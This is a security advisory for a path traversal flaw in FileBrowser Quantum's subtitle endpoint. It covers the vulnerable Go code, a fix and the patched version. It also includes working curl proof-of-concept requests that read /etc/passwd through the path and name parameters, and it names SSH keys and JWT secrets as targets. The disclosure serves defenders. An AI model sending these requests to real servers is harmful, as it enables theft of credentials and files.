FileBrowser Quantum's path traversal issue in subtitle handler allows any authenticated user to read arbitrary files

Overview

Summary

The subtitlesHandler endpoint (GET /api/media/subtitles) accepts two user-controlled query parameters: path and name, both of which are used in filesystem operations without sanitization, creating two independent path traversal vectors.

The primary vector is the path parameter: it is passed directly to idx.GetRealPath() without calling SanitizeUserPath(), allowing an attacker to escape the storage root and set parentDir to any directory on the host. No existing anchor file is required.

The secondary vector is the name parameter: it is joined with parentDir via filepath.Join(parentDir, name) without stripping directory components, allowing traversal relative to any resolved parentDir.

Any authenticated user (regardless of role or permissions) can exploit either vector to read any text file readable by the server process, including /etc/passwd, SSH keys, database credentials, and JWT signing keys.

Details

1. path parameter lacks SanitizeUserPath() — primary vector (http/media.go:54)

userscope, err := d.user.GetScopeForSourceName(source)
// ...
realPath, _, err := idx.GetRealPath(userscope, path)  // path is raw user input, no sanitization
// ...
parentDir := filepath.Dir(realPath)  // line 59: attacker controls this directory

SanitizeUserPath() explicitly rejects .. segments:

func SanitizeUserPath(userPath string) (string, error) {
    // ...
    for _, segment := range segments {
        if segment == ".." {
            return "", fmt.Errorf("invalid path: path traversal detected")
        }
    }
    // ...
}

Every other handler in the codebase calls SanitizeUserPath() before GetRealPath(). This handler skips it, so path=../../etc/passwd resolves parentDir to /etc, with no anchor file required.

2. name parameter used directly in filepath.Join — secondary vector (http/media.go:63)

name := r.URL.Query().Get("name")  // line 37 — raw user input
// ...
content, err = utils.GetSubtitleSidecarContent(
    filepath.Join(parentDir, name))  // line 63 — TRAVERSAL

filepath.Join(parentDir, "../../etc/passwd") resolves the .. components, escaping parentDir. This vector requires a valid file in scope as the path anchor.

3. GetSubtitleSidecarContent reads and returns file contents (common/utils/media.go:17-43)

func GetSubtitleSidecarContent(subtitlePath string) (string, error) {
    info, err := os.Stat(subtitlePath)        // follows the traversed path
    // size check: < 50MB
    isText, err := IsTextFile(subtitlePath)   // checks UTF-8 validity
    content, err := os.ReadFile(subtitlePath) // reads and returns content
    return string(content), nil
}

The only constraint is that the target file must be UTF-8 valid and under 50MB. Binary files silently return an empty string.

4. Endpoint is behind withUser but requires no special permissions

// httpRouter.go
api.HandleFunc("GET /media/subtitles", withUser(subtitlesHandler))

Any authenticated user can access this endpoint: no admin, modify, share, or download permission is required.

PoC

Vector 1: path traversal (no anchor file needed):

docker run -d --name filebrowser-q-lab -p 18080:80 gtstef/filebrowser:latest && sleep 3
TOKEN=$(curl -s -X POST "http://localhost:18080/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')
curl "http://localhost:18080/api/media/subtitles?path=../../etc/passwd&source=srv&name=passwd&embedded=false&auth=$TOKEN"

Expected output: /etc/passwd contents with HTTP 200.

Vector 2: name traversal (anchor file required):

mkdir -p /tmp/fbq-srv && echo "dummy" > /tmp/fbq-srv/poc.txt
docker run -d --name filebrowser-q-lab2 -p 18081:80 -v /tmp/fbq-srv:/srv gtstef/filebrowser:latest && sleep 3
TOKEN=$(curl -s -X POST "http://localhost:18081/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')
curl "http://localhost:18081/api/media/subtitles?path=/poc.txt&source=srv&name=../../etc/passwd&embedded=false&auth=$TOKEN"

Expected output: /etc/passwd contents with HTTP 200.

Impact

• Arbitrary file read: Any authenticated user can read any text file on the host filesystem that the server process has read permission for.
• No anchor file required: The path vector works on a default install with an empty storage root, so no existing file in scope is needed.
• Scope bypass: Scoped users (restricted to a subdirectory) can escape their scope via either vector and access files belonging to other users or the host system.
• Credential exposure: /etc/passwd, /etc/shadow (if running as root), SSH private keys, application configuration files with database passwords, API keys, and JWT signing secrets.
• Privilege escalation: Reading the JWT signing key from the database or config file enables forging admin tokens.
• No special permissions required: The endpoint only requires basic authentication: no admin, modify, share, or download permissions.

Recommended Fix

Apply SanitizeUserPath() to the path parameter and filepath.Base() to the name parameter:

// http/media.go, subtitlesHandler

// Sanitize path parameter (like all other handlers)
path, err := utils.SanitizeUserPath(path)
if err != nil {
    return http.StatusBadRequest, err
}

// Strip directory components from name to prevent traversal
name = filepath.Base(name)

SanitizeUserPath() rejects any .. segment. filepath.Base("../../etc/passwd") returns "passwd", preventing traversal via name. Additionally, consider adding a file extension allowlist to restrict name to subtitle formats (.srt, .vtt, .ass, .ssa, .sub) only.

Affected packages

• github.com/gtsteffaniak/filebrowser/backend < 0.0.0-20260608182036-f3f4bbe80cb5

Remediation

Upgrade to a patched release:

• github.com/gtsteffaniak/filebrowser/backend 0.0.0-20260608182036-f3f4bbe80cb5